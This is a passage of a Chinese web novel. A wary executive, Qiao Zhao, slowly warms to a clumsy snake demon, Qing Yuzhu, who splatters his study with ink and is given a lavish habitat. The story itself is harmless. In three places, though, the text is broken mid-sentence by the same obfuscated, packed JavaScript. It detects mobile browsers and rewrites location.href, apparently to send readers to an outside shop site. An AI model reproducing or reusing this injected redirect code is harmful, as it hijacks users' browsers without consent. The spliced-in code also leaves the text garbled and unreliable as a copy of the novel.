乔昭一动不动,只觉得冷汗缓慢渗透了背后的衬衫,心绪转动间脑子里飘过无数种画面,最清晰的一副是幼时看过的一部电影,被激怒的蛇一尾巴把主角抽得鲜血长流。 他有些僵硬地和歪着头的蛇对视。 青玉竹看着近在咫尺的巴掌,歪着脑袋想了想,觉得饲主大概是想摸他的头,于是非常自然地低下小脑袋,但等了半天也不见饲主动作,他有些疑惑地抬头。 只见饲主好像又呆住了。 青玉竹吐了吐蛇信子,主动把脑袋抵在饲主掌心蹭了蹭,暗自叹气。 没养过蛇的饲主真是麻烦,连蛇都不知道怎么摸,而且他还好呆,动不动发呆。 青玉竹一边暗自碎碎念,一边从门口的柜子上爬走,先行一步到了餐桌上,在一盘小块小块的肉面前盘好,等待着饲主一起用餐。 虽然错过了早饭,但可以一起吃晚饭呀! 他忍着美味食物的诱惑,满含期待地看着自己的新饲主。 乔昭有些惊疑不定地看着桌子上的小蛇,鼓噪的心跳缓慢地平复着。 这只蛇妖什么意思?他是没看出来刚才自己的动作,还是不计较这种无意的冒犯……话说他能看出来自己是有意还是无意的吗? 而在涌上的种种问题中,大脑又感受到了一种奇特的心绪。 他的家里,已经很久没有出现过活物了。 虽然现在出现的活物是一条他有些惧怕的蛇,但灯光下的青色小蛇却没有那种令人毛骨悚然的阴冷,相反,他的青色鳞片有种近乎透明的澄澈感,琥珀色的眼瞳圆滚滚的,里面有种人性化的神采。 乔昭看不懂一条蛇的眼神,只是内心深重的防备悄然裂了一个小缝。 “你可得坚持住我找到人帮你,别被妖精迷了眼睛。” 分别前钱锐的调侃犹在耳边,乔昭想起蛇妖化形时淡漠无情的眼睛,收敛起杂念,保持一个不出错的礼貌态度走到了桌子旁边。 蛇瞳跟随他的动作缓缓转着。 “白天我出门赴了一个朋友的约,没来得及当面跟您说,十分抱歉。”乔昭不动声色的观察着青色小蛇的动静,“我给您留了言,不知道您看到没有?” 白天果然是出门了啊! 青玉竹虽然有些疑惑饲主对自己的客气态度,但猜对了纸片上的内容这件事让他很高兴,尾巴不自觉地小幅度摇了起来。 乔昭内心一凛。 虽然他对蛇的了解十分匮乏,但还是看过几集动物世界的,蛇尾这样竖起来抖动似乎是一种警告? 蛇妖果然是生气了……只是不知道他生气的是他未经许可出门还是他找钱锐帮忙解决。 乔昭克制着有些沉重的心情,不动声色地试探道:“下次如果我要出门,会提前得到您的许可。” 咦? 青玉竹有些迷惑地看着面前的人类。 饲主要出门为什么要他许可……可惜他现在依然没法说话,饲主也听不懂蛇语……但这句话换个方式理解,岂不是说饲主会在家里陪着他? 青玉竹又高兴起来,尾巴摇得更加欢快了。 乔昭心头又是一沉……蛇妖还是不高兴,难道是发现了自己想找人对付他的行为?他真的能无视距离监控自己? 但他商海沉浮了许久,该有的定力并不缺,蛇妖既然没有提他和钱锐见面的事,那他最好装作不知道:“不知道您是否还有需要我做的?” 青玉竹有些困惑地用尾巴挠了挠头。 为什么说着说着饲主的表情就严肃了起来,还问他有没有需求,他没有呀!能吃饱就很好了。 但饲主表情为什么越来越严肃了?青玉竹以己度人,觉得饲主刚刚似乎是在思考很严肃的问题,既然在思考问题……那他一定是饿了! 青玉竹笃定地得出答案,很快用尾巴缠住不远处的一个空碗(盘子太大拖不动) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007861|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,费劲地把它拖到了饲主面前,然后仰头看着自己的饲主。 先吃饭吧!一起呀! 只是饲主怎么好像又呆住了? 乔昭还在飞快推算蛇妖可能的反应以及自己应该怎么应对,但蛇妖的动作一时让他思绪都不连贯了,迟疑了一会儿他才问道:“您……是需要喝汤吗?” 青玉竹摇了摇脑袋,又用尾巴将空碗朝乔昭的方向推了推。 “这是……给我的?”乔昭猜测着他的意思。 青色小蛇很高兴地点了点脑袋。 乔昭不由自主地一愣,桌上的东西都是他嘱咐厨师给蛇妖做的,全部切成了小蛇能一口吞咽的大小,里面并没有他的份——他自然是不愿意和一条目的不明的蛇妖一起吃饭的,早就在外边填饱了肚子。 乔昭注视着琥珀色的蛇瞳,不期然想起蛇妖在餐桌上等他的一幕,会不会他的意思不是要他伺候着吃饭,而是等他一起吃饭? 成为“乔总”后,有无数人会等他吃饭,但在结束工作后,回到属于自己的房子里时,却很久没人等过他一起吃饭了。 突然涌起的情绪很陌生,乔昭眼神复杂地看着乖巧等在碗边的小蛇,有了一丝辜负好意的愧疚。 莫非他真的想多了,这条蛇真的没有恶意? 那他的目的又是什么?总不会真的只是单纯找一个饲主吧? 乔昭很快否定了这个猜测,一只掌握了超自然力量的妖怪,要干什么干不了,干嘛非要给自己找个主子? 君不见什么小说电影里,妖怪认主都不情不愿的。 但现在……乔昭看着面前的空碗,还是拿起了筷子……不论蛇妖这个动作出于什么样的目的,但此时此刻,还是先吃饭吧。 他意思意思吃了一颗牛肉粒,把剩下的东西都喂给了青色小蛇。 蛇妖吃的很香,扁扁的蛇脑袋几乎伸进了碗里,乔昭等他进食的速度慢下来才状似不经意地问道:“说起来,我还不知道您的名字。” 青玉竹艰难地从碗里抬起脑袋,“嘶嘶”了两声。 乔昭眉头一挑,有了些猜测:“您这样子,是不是无法说话?” 青色小蛇点了点头。 不知为何,乔昭感觉蛇妖看过来的眼神似乎有些赞赏…… 他暗自摇头,把这种莫名其妙的感觉甩出脑袋,转而开始思索……蛇妖原形不能说话,但他却没有化成人形的想法……难道他现在没法化形? 这么来看他的状态似乎是不太对劲。 得到这个结论,乔昭竟然有松了一口气的感觉……哪怕还没有找到对付这种玄学存在的方法,但好歹能知道对方一个弱点。 只是明天不能出门,他得思考一下用什么办法和钱锐联系……以及现在他还不能确认蛇妖是否和乔家人有关,处理公司事务的时候也得长个心眼…… 乔昭思索着明天的安排,直到注意力被游走的小蛇重新拉了回来。 蛇妖似乎是吃饱了,动作缓慢地从桌上爬下来,朝着电视柜的方向游走而去,明亮的灯光照在他身上,翡翠一样的蛇鳞折射出一片炫目的光。 乔昭不自觉地看了很久,直到青玉色的小蛇缩回电视柜,他才回过神,旋即有些沉默。 ……该说不愧是妖精吗,原形也能这么摄人心魄。 5. (被迫)养蛇 考虑到蛇妖似乎对他的出门十分有意见,乔昭干脆选择在家待着,好在他本来就安排好了休假时间,大部分必须要他处理的公务都可以远程处理。 于是他(被迫)的养蛇生活开始了。 养宠物不愧是现代人的顶尖解压方式之一,即使对蛇妖的存在充满疑虑,但乔昭已经切实感受到了那种难言的陪伴感。 青色小蛇的作息很稳定,天色一暗他就会缩进电视柜里,盘成一坨便便的样子趴着休息,天色一亮就爬出来到处溜达,饭点吃下四五个人的食物后,就拖着胖了一圈的身体在别墅里闲逛。 他爬得缓慢而优雅,有种难以描述的节奏和悠闲,令人看着不自觉就会宁静下来。 只是这种宁静总是时不时被不受控制冒出来的警惕和怀疑打断,乔昭在这种情绪拉扯中着实有些疲惫。 这栋别墅并没有多少供蛇妖探索的地方,除了书房主卧厨房有装修,其他房间甚至只是简单糊了个墙,连床都没有,乔昭买下这栋别墅做了简单装修后空置许久,搬进来也不过最近两三天的事情。 逛过几间空屋子后,青色小蛇就只会刷新在书房和客厅里,不知为何他从来没有去过乔昭的主卧。 乔昭研究了一下自己的卧室,试图找到让蛇妖避开的东西,可惜的是,样板间一样的卧室一目了然,用的全是现代科技奢侈大牌,实在没发现什么东西能辟妖。 蛇妖的行为还真是难以理解。 乔昭管不了也不敢管,只能任由小蛇在家里动作,很快,他就发现青色小蛇很喜欢在他工作的时候跟过来,待在书桌的一旁。 乔昭警惕心一瞬间拉到了极致。 书房里不仅有工作电脑,还有很多机密文件,这让他不由得又怀疑起蛇妖和乔家其他人的关系,在蛇妖又一次跟过来之前,不动声色地把一些机密文件锁在了保险柜里。 蛇妖似乎没发现他的动作,依然趴在书桌的一角,时不时就用尾巴拨弄一下他书桌上的各种摆件。 三天时间一晃而过,一人一蛇似乎都熟悉了这样的相处模式。 乔昭点开徐秘书发过来的一份不太重要的项目企划书,不动声色地等了两秒,果然,待在一旁的小蛇很快爬了过来,人立而起,看了三秒,不感兴趣地重新爬了回去。 乔昭这才滑动鼠标开始审阅文件,只是有些心不在焉。 这些天他处理过的文件蛇妖基本都这样看过,为了试探,他还专门找了几个埋着雷的项目,如果蛇妖真跟自己的兄弟姐妹有关系,那迟早有人要掉坑。 只是从徐秘书传回来的消息看,乔家人现在都安分得很。 到底是蛇妖跟他们没关系,还是没来得及动手? 乔昭的目光不由得落到蛇妖身上,青色小蛇已经被桌边的笔筒吸引了注意力,正在试图往上爬。 老实说蛇妖实在不像是间谍,他对所有文件的兴趣持续时间都很短……当然,乔昭并不敢小看这种超自然的存在,万一他有什么瞬时记忆法术之类的呢? 电脑右下角钱锐的头像开始跳动,乔昭不动声色地用余光看了一眼蛇妖,发现他依然在兴致勃勃地爬笔筒,于是他收回目光,点开了钱锐的消息。 只是还没开始看,“嘶嘶嘶”的声响接连不断,乔昭下意识叉掉对话框,挪开视线一看,顿时陷入了沉默。 青色小蛇不知道什么时候卷起了摆放在笔筒里的数只钢笔,用一种常人难以看清的方式把自己和钢笔缠在了一起,然后他就卡住了。 乔昭眼见他试图挣脱钢笔束缚,但几次用力都没能成功——这条蛇好像把自己在钢笔上打了个死结。 乔昭一脸麻木:“……” 某些时候他实在搞不懂这条蛇妖的抽象操作,而且这已经不是第一次了。 上一次是蛇妖把自己缠在了玫瑰花枝上被刺戳到了,难为他把细小的嘶嘶声叫出来了声嘶力竭的动静,再上一次是试图跟扫地机器人打架然后被怼在了角落,幸好乔昭及时发现,不然可能机器人不保,再再上一次是对书房的理线器产生了兴趣,试图把自己也卡进去,结果不小心咬破电线被电得抽搐了半天,换条普通蛇可能已经死了…… 难为他三天时间不到搞出来这么多动静。 乔昭有些时候觉得自己怀疑的不是蛇妖有什么阴谋……而是怀疑他会在自己看不见的角落里作死。 比如现在。 乔昭绷着脸上手,小心翼翼地解开钢笔上的蛇结。 指尖触感冰凉柔润,仿佛在抚摸一块上好的宝玉。 乔昭不期然想起见面时蛇妖的话——不得不承认蛇妖的手感确实很好。 终于从打结的困境中挣脱出来的青玉竹很高兴,十分自然地把爬上人的掌心,蛇尾缠住修长的手指,用蛇脑袋拱了供人类的大拇指。 乔昭下意识屈起了大拇指。 青玉竹把小脑袋靠在了他的大拇指上蹭了蹭,吐了吐蛇信。 谢谢你哦~ 他本来只是想练习一下自己的绞杀能力,顺便看看肉身强度还剩下多少,没想到太久没有这么干了,对身体大小估算错误,笔没勒断还把自己缠起来了。 幸好饲主及时解救。 乔昭动作有些僵……他并不喜欢细长一条待在手上的感觉,总让他想起幼时双手被捆缚的窘迫,但这几天蛇妖总是会爬到他手上,比起一开始差点把蛇妖丢掉,起码他现在能稳住动作了。 蛇妖在他手上找了个舒服的位置挂着,悬空的一小节尾巴尖轻轻摇动着。 嗯?等等,蛇会摇尾巴吗? 乔昭后知后觉发现了这个奇怪的问题,青色小蛇尾巴悬空挂在手掌之外,尾巴尖左右摇动着,看着有些像某些犬科动物。 该不会三天前的晚上他以为的抖尾威胁其实也是蛇妖在摇尾巴吧?! 乔昭陷入了沉默。 蛇妖的未解之谜又多了一件。 手上的小蛇很快重新动了起来,柔滑的条状物从手指间划过的感觉简直令怕蛇的人毛骨悚然,好在这种感觉一闪而逝,青色小蛇很快重新滑到了桌子上。 乔昭不自觉地松了一口气。 蛇妖很快又对放在一旁的砚台产生了兴趣,里面还有乔昭晚上写字静心时留下的墨汁,他在镇纸上盘成一块饼,看着墨汁不知道在想什么。 乔昭分出一半心神关注着蛇妖打算作什么妖,另外一半注意力放到了电脑上,他点开和钱锐的对话框,不自觉地皱了皱眉。 【钱是万能的】:完蛋,昭哥,我家玄学人脉没一个靠谱的 【钱是万能的】:不过你放心,我已经买好去锦城的机票了,我这就去玄光寺帮你问高僧! 【钱是万能的】:哦对,我不是有个体制内的哥们吗 【钱是万能的】:他最近好像在执行什么秘密任务,等他能联系上了我再帮你问问他! 【钱是万能的】:话说那位还安分吗?你没事吧? 【乔昭】:我没事,辛苦你了。 【钱是万能的】:不辛苦不辛苦,不过我先给你个东西 屏幕瞬间刷了一大片,钱锐发过来一大堆文档,乔昭随意点开一个,愣了一下。 是宠物蛇的饲养攻略。 【钱是万能的】:我专门找蛊王要的,你知道蛊王的吧,就家里一大堆蜘蛛蟑螂的那个。 乔昭嘴角一抽。 蛊王姓孙名俊雅,是孙家颇受宠爱的小辈,爱好养爬宠,据说有一房子的宠物蛇宠物蜥蜴宠物□□宠物蜘蛛……故而人送外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007862|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号蛊王。 拿宠物蛇饲养经验对付修成人形的蛇妖? 乔昭忍不住揉了揉眉心,一时只觉得槽多无口。 或许是他一直没有回复,钱锐直接把电话打了过来。 突然响起的铃声惊动了一旁的沉思的青色小蛇,他扭头往这边看了一眼。 乔昭拿起来手机,言简意赅:“工作电话,我出去接一下。” 青玉竹对工作电话的含义半懂不懂,但听懂了出去这个词,于是点点头,有些好奇地看了一眼乔昭手中的手机。 他至今也没搞明白这个薄砖是个什么东西,除了扔出去打人和召唤官差之外,似乎还可以和其他不在场的人联系,倒是和昆仑仙境的传音水镜有点像,而且这个世界的人似乎人手一个,很重要的样子。 蛇也想要。 青玉竹目光炯炯地目送饲主离开,蛇脑袋琢磨着方才的灵光一闪,信心满满地决定贯彻自己绝妙的沟通方式。 乔昭在如芒在背的目光中关上书房的门,走到二楼的阳台上接起了电话。 那边钱锐长舒一口气:“妈耶,你怎么现在才接电话,我还以为你被蛇妖吃了。” “刚才他在我旁边。”乔昭平静道。 钱锐倒吸一口凉气,立刻噤声。 乔昭嘴角微微一挑:“但我现在出来了。” 钱锐:“……” 他在一言难尽的心情里突然反应过来一件事:“咦?你不紧张了?不担心了?” 分明三天前见面时乔昭还一副快焦虑死的阴沉样子,怎么现在都有心思逗他玩了? 乔昭又一次陷入了沉默……紧张担心依然还在,只是一旦回想起这几天蛇妖闯的祸,那种出于对未知生物的紧张担心就会不自觉变个调调……他现在主要紧张蛇妖搞些抽象活来挑战他的接受能力…… “他最近很安分……”乔昭揉了揉眉心,“我暂时也看不懂他想干嘛。” 钱锐欲言又止止言又欲:“就是,昭哥啊,有没有那么一种可能。” 乔昭:“嗯?” “蛊王跟我说,蛇这种动物,脑子都比较小,不太聪明……”钱锐斟酌着语气,“所以会不会,你想多了?你家那个蛇妖……” 乔昭下意识眉头一皱:“你是说一条修炼成精的蛇妖和那些人工培育出来的没脑子的品种一样吗?” 只是话一出口,乔昭突然有点迟疑……就蛇妖这几天闯的祸,还挺符合钱锐的判断。 但钱锐已经被噎住了,乔昭说的太有道理,他一时竟然无法反驳。 毕竟小说里怎么写的来着,妖精修炼成人资质悟性机缘缺一不可……所以那条蛇妖大概不会和宠物蛇一样脑仁小小脑子笨笨…… 但他很快打起精神给自己挽尊:“不管怎么说,蛊王也是养了这么多年蛇的人,搞不好去印度都能封个舞蛇仙人啥的……毕竟都是蛇,他的经验肯定有可取之处,把蛇妖安抚好了你也能安全点不是吗?” 这个理由倒是很有说服力,乔昭思索片刻:“我知道了,我会看完的。你什么时候去锦城?” 钱锐道:“马上,还有半小时就登机了。” “一路顺风。”乔昭简短道,“到了给我发个消息,回来请你吃饭。” “好嘞!”钱锐满口答应,犹豫了一会还是没把“请客就不必了让我去看看那条蛇”说出口。 现在昭哥还在疑心病发作期,随时疑神疑鬼,还是等等吧。 他随意和乔昭寒暄了几句后便挂了电话。 乔昭收起手机,在手机上大致浏览了一下蛊王的攻略,发现内容堪称包罗万象,一时半会儿也看不完,他揉揉眉心,决定还是先回书房。 只是刚刚推开书房的门,乔昭就愣住了。 6. 你在干什么?! 乔昭出门前还整洁干净的书房此时已经是一片狼藉。 墨汁顺着木质桌面滴滴答答地落到米白色的地毯上,晕染出一团又一团的污迹,一张被涂的乱七八糟的宣纸飘落在窗边,把正在晒太阳的仙人掌盖了个严严实实。 墙和靠墙的书架上布满了墨迹,此时正滴滴答答往下滴墨汁,键盘、电脑屏幕和放在键盘旁的文件也没能幸免。 青黑色的小蛇上半截身体艰难的缠在写大字用的斗笔上,上好的羊毫笔头被粗暴地按在桌面上用作支撑,蛇的下半截身体圈住一只小楷笔,正摇摇晃晃地在宣纸上画着什么东西。 一眼看过去,只见桌面上有一个摇摆着的“H”,“H”的一横还在往下滴落墨汁。 乔昭忍不住闭了闭眼睛,一时间还以为自己在做梦。 但这不可能是梦——以他匮乏的想象力,想象不出来这么抽象的画面。 他出去打电话的时间有十分钟吗?! “你在干什么?”乔昭声音有一种气过头的平静,甚至忘记了用敬称。 此时此刻他再一次共情了某个曾经因为哈士奇拆家而一脸抑郁的下属。 听到声音,沉迷于写字的青玉竹高高兴兴地抬头看了过去,被饲主冷冰冰的脸色一冻,他兴奋过头的脑子猛然一清。 他保持着“H”的姿势,后知后觉地看了一眼周围。 ……原形不太好控笔,蘸墨汁的时候动作似乎大了一点,纸上、桌上、地上、墙上,还有他自己身上,到处都是黑黑的墨汁。 青玉竹灰溜溜地把笔放下了,在桌面上缩成一团,尾巴盖在头上,蛇瞳透过的身体的缝隙观察着新饲主。 虽然……但是……他也不是故意的QAQ。 乔昭看着蛇妖貌似心虚的动作,险些气笑了。 ……这是蛇妖这是蛇妖这是蛇妖。 他念经似的给自己洗脑半天,才强迫自己忽略掉乱七八糟的墨点,从门口走到了桌边。 青玉竹听到细微的脚步声,顿时把自己团的更紧了,尾巴把眼睛盖的严严实实。 看不见我看不见我看不见我…… 纸张被翻动的脆响传来,青玉竹精神一振,瞬间放下尾巴,从蛇团里探出来一个脑袋,目光炯炯地看着饲主。 乔昭皱着眉看着手中的鬼画符。 蛇妖似乎并不是在乱画,这些符文组合显然有着某种规律……像是某种文字。 “这是……字吗?”他不确定地看向一旁的青黑色小蛇。 青玉竹被问的一愣。 他满心的兴奋顿时被泼了一瓢冷水。 直到此时他才想起来,既然他看不懂这个世界的文字,那么饲主作为这个世界的人,又怎么会看懂昆仑仙境的文字呢? 他只想着自己可以写字和饲主交流,却忘记了这个最关键的前提。 青黑色小蛇萎靡了下来,如同一根坠落的面条,在桌面堆成了乱七八糟的一团。 乔昭暗自皱眉。 最开始的震惊生气已经过去,乔昭恢复了一贯的冷静,看了一会儿蛇妖的鬼画符,他突然灵光一闪,一个猜测和一股不祥的预感同时冒了出来。 乔昭迟疑着问道:“你们妖族用的文字……是不是和我们的不一样?” 青色小蛇勉强抬起脑袋,蔫蔫地点了点头。 乔昭不妙的预感即将要应验:“那你,是不是也看不懂我们的文字?” 青色小蛇再次蔫蔫点头。 乔昭:“………………” 他顿时想起那张被蛇妖丢弃的留言……想起这几天审阅公司文件时的费尽心机……想起这几天对机密文件的严防死守…… 他猜测了很多蛇妖看文件的理由,预备了很多处理方案…… 结果! 这只蛇妖他*的是个不识字的文盲!! 他的那些谨慎举动算什么?! 乔昭内心升起巨大的荒谬感——太荒谬了甚至于生出了想笑的情绪。 青玉竹看着饲主变幻莫测的脸色一愣一愣的,不自觉的把自己重新盘了起来——饲主不会是被他气出毛病了吧? 他怂怂的用尾巴碰了碰饲主垂在桌边的手。 蛇也不是故意的,不要生气。 乔昭低头和小蛇对视……内心那些已经有些动摇的防备被“蛇妖是个文盲”这个事实彻底击穿,以至于他现在再看蛇妖。 那双琥珀色的竖瞳没有一点危险感,反而透着一种清澈的愚蠢。 “你……算了。”乔昭有些疲惫地揉揉眉心,感觉自己需要一点时间来恢复理智。 他看着蛇妖青玉色鳞片上全是墨点,沉默了一会道:“你需不需要先洗个澡?” 青玉竹眼睛亮了,频频点头。 他可喜欢泡水了! 以前寒月宫中就有一池灵泉,是仙君为了寒月宫众妖特地从另外一处的洞天福地里抢过来的,青玉竹就很喜欢在里面泡着。 但可惜的是没多久仙君就带回来一条凶凶的鲛人,鲛人霸占了灵泉,青玉竹打不过,就再也没能泡过灵泉。 而自从他醒来后,一直小心翼翼地求存,根本没有悠闲泡水的余裕。 说到这个,青玉竹突然想起,饲主的花园里就有一个大池塘,对现在的他来说相当于汪洋大海。 蛇想去那里泡! 他猛然一用力,从桌上跳了下去,落在柔软的米白色毯子上。 调整了一下姿势后,他速度飞快地爬到了书房的窗边,蛇尾指着花园里的水池,渴望地看着自己的饲主。 乔昭眼睁睁看着青黑色小蛇在名贵的羊绒地毯上划出一片弯弯曲曲的墨痕,忍不住又按了按太阳穴。 克制着立刻丢掉这块地毯的冲动,乔昭缓步走到落地窗边,低头观察了一下小蛇的动作,猜测道:“你想去楼下的游泳池里洗澡?” 游泳池?说的是说水池吗? 青玉竹吐了吐蛇信,点点头。 乔昭看着他身上还没干透的墨汁……觉得“他是蛇妖”这个事实已经说服不了自己了。 他一言不发地离开,没一会端着一盆水走了进来,把地上一脸懵的小蛇捡起来放进了盆里,这才端起盆下楼。 青玉竹在盆里转了个圈,十分遗憾地把脑袋搁在盆边叹气。 不让泡大池塘呀…… 一口气还没叹完,他就感觉饲主抓住他在水盆里涮了涮,一块布不甚温柔地把他全身擦了一遍,紧接着便被人放进了一片汪洋里。 哇! 青玉竹瞬间精神起来,快乐地在池边游了一圈,蛇瞳跟随着饲主看向了生机勃勃的花园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007863|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 然后他就发现饲主面无表情地把一盆漆黑的水倒进了花园里。 青玉竹:“……” 书房里的一片狼藉重新回到脑海里,他装作什么事都没发生,扭身顺着池塘边缘的游远了。 乔昭把盆重新放回了洗漱间,走进书房检查了一下文件的污损情况,先发信息给徐秘书让他重新给备份,又发信息给生活助理,让他找人来打扫书房里的卫生并换掉脏污的家具。 做完这一切,他才走到落地窗旁。 从二楼看去,青色的小蛇在游泳池只有小小一点,不仔细看甚至难以找到。 乔昭回想起刚刚十几分钟的兵荒马乱,混杂着生气好笑无语等的复杂情绪涌了上来。 他想过很多种可能,唯独没想过蛇妖根本看不懂人类的文字,而如果是这样,那他的危险性大概要打个折扣,倒不是说文盲不能搞事,而是在完全不理解当地文字的情况下,搞事受到的限制会非常多。 最简单的,他当蛇妖面编辑短信报警他都不知道。 虽然不排除蛇妖在说谎,但……被祸祸的书房、被咬断的电线、被打了一顿(?)的扫地机器人……都在无声诉说蛇妖干净清澈的脑子……他有很大概率没有说谎。 而且钱锐的判断很可能是对的。 乔昭疲惫地揉了揉眉头,既有种智商被凌辱的无奈,又有种奇异的放松,虽然依然没搞清楚蛇妖的来历和目的,但起码蛇妖的危险性大大降低了,没有迫在眉睫的威胁,那其他问题大可容后解决。 乔昭把没被污损的机密文件放在抽屉里,拿着笔记本电脑离开脏兮兮的书房,在客厅的沙发里坐了下来。 他打算先看看蛊王给的攻略……既然钱锐的判断有很大可能是对的,那蛊王的攻略说不定也有奇效。 而蛊王不愧是去印度也能封为舞蛇仙人的主,发过来的文档里详细记载了数种宠物蛇的习性、价格、饲养方式,甚至每种都配了图。 看多了梦幻般的青色小蛇,陡然直面人间正常的蛇,乔昭顿感头皮发麻,手一抖直接把文档关了。 手臂已经起了一片密密麻麻的鸡皮疙瘩。 缓了半天,他才重新打开文档,微闭着眼睛快速翻过那些蛇的图片,一个花花绿绿房间的顿时映入眼帘。 乔昭仔细看了一眼,才发现这是蛊王用来养爬宠的房子,里面根据不同宠物的习性布置了数个微缩生态景观,抛开生活在里面的五彩斑斓的蜥蜴蜘蛛之类挑战一般人类承受能力的东西,这些景观一个赛一个的漂亮。 乔昭:“……” 他不由得看了一眼外边已经从泳池里爬出来,在泳池边上瘫成一条晒太阳的青色小蛇,眼神复杂。 人间的爬宠锦衣玉食,成精的蛇妖风餐露宿。 这么看蛇妖或许确实没有恶意……否则就乔昭让他连睡三天电视柜的怠慢举动,恐怕早就死得无声无息了。 乔昭沉默了半天,再次给生活助理去了一个信息,让他给蛇妖做一个用来栖息的生态景观,尽量精致漂亮一些。 毕竟是会说话的妖怪,大概不需要和普通蛇一样养在饲养箱里。 考虑到蛇妖化形后的国产仙侠属性,他又郑重其事地加上了仙气飘飘的国风要求。 生活助理的回答简单易懂:“啊?” 7. 哇哦! 两天后的中午,搬运工人敲响了别墅的大门。 青玉竹一溜烟缩进了柜子的角落里。 虽然和现在的饲主相处愉快,但他其实还是有些害怕这个陌生世界的人类,也不知道为什么这个世界的人类不论见到他的原形还是人形都要尖叫。 这种尖叫让青玉竹觉得自己并不受欢迎。 他缩在柜子里,贴着边缘探出半个脑袋,注视着好几个陌生的人类推着一个巨大无比的东西走了进来,在另外一个年轻人类的指挥下放到了大厅靠墙的角落里。 角落瞬间被塞满了,这个大东西的头顶甚至快和二楼的悬廊平齐了。 这是什么东西? 青玉竹充满好奇。 “乔总中午好。”指挥的年轻人看见从二楼下来的乔昭,十分恭谨地打招呼,“您要的生态饲养箱做好了。” 青色小蛇忍不住又探出了一点身体,紧盯着自己的饲主,想知道“生态饲养箱”是什么。 “中午好。”乔昭对着自己的生活助理小林微微颔首,“拆开看看。” “好的。”小林点头,指挥工人拆开了包装,一个长达五米宽有三米算上底座高度超过两米五的巨型玻璃缸逐渐显露了出来。 里面是一片精美雅致的微缩景观。 小型太湖石堆砌成数座错落有致的假山,其上亭台楼阁雕梁画栋,山下是一片绵延草地,青草微微还带着闪着碎光的水珠,几株一米来高的青翠苗木玉立其中,上面还挂了的吊床、树屋等等栖息之处,草木根系扎入土中,被巧妙掩盖在饲养箱宽大的底座里。 最引人注目显然是占据了整个玻璃缸三分之二面积的浅蓝色地面,待工人麻利地接上电线水管后,潺潺流水从底部流出,很快填满整个地面,缥缈的雾气随着整个维生系统的运作缓缓升起,逐渐蔓延至整个生态箱,将山水楼阁衬托的如同仙境一般。 小林脸上是由衷的赞叹,虽然整个事情都是他在操作,但每次看到这个厂家用了一天半赶工出来生态饲养箱都还是会觉得惊艳。 果然这世界上最好用的能力是钞能力。 “上下水功能是自动的,会自动每天更换,草地苗木都是真的,这半部分下面就是维生系统,我会定期让人上门修剪的;真植物可能会招蚊虫,所以我让厂家加了驱虫系统,按钮在这里,开启后会自动诱捕蚊虫然后统一销毁;这是灯光开关……”小林收起乱七八糟的想法,认真给乔昭介绍着,顺手在玻璃缸底座的按钮上点了点,玻璃缸顶部折叠起来的部分缓缓打开,明亮的灯光洒下。 小林再次把灯关掉:“这个灯很亮,主要是方面您看东西;里面还有融入景观的感光灯,天黑会自动亮,光线很柔和,既是装饰也不会惊扰到宠物……” 乔昭等他一一介绍完,微微颔首:“很好,辛苦你了。” 小林松了口气:“您客气了,这是我应该做的。” 他也是第一次接到这种奇奇怪怪的工作任务,生怕自己哪里做的不到位,幸好大老板没什么意见。 与此同时他也有些好奇,乔总一直走的极简生活风,要求一向是很好打发的简单干净利落,也没见他有宠物,这次怎么会突然想起来做这么一个花里胡哨的东西? “收拾一下你就去休息吧。”乔昭确认饲养箱一切正常后对小林说道。 小林赶紧收敛思绪,指挥着工人收拾垃圾打扫卫生,把一切清理干净后就告辞离开了别墅。 等人都走了,乔昭才走到电视柜前,一眼就看见了半个蛇脑袋。 他已经习惯了蛇妖每次有人来蛇妖就躲在柜子里,如果是此前他还会想是不是蛇妖有意掩藏行踪背后会不会有什么大阴谋,但相处这么些时日又一窥蛇妖的真实文化水平之后,他着实是很难把只知道吃和睡的蛇妖想的太复杂。 他这么躲大概是有些怕生。 “人都走了。”乔昭在电视柜前屈膝蹲下,和立起小半个身体的小蛇对视,“你现在可以去看看你的……窝,看看有没有什么不满意的。” 青玉竹吐着细小的蛇信,把饲主的话在脑袋里转了一圈后,有些不可置信地用尾巴指了指角落的大东西。 我的窝?!那是给我的吗?! 虽然青色小蛇没有说话,但乔昭莫名看懂了他的意思,颔首道:“是专门为你定制的……参考了我一位朋友养蛇的经验,不知道是否合你的胃口。” 青玉竹被这个巨大的礼物砸的晕晕乎乎的,过了一会儿才反应过来,飞速从柜子里蛄蛹下来,朝着玻璃缸飞速爬了过去。 若不是亲眼所见,很难相信一条蛇能扭得这么快。 乔昭不紧不慢地跟在他身后。 青色小蛇很快到了玻璃缸面前,仰头看这个庞然大物,没出息地发出了惊叹的声音。 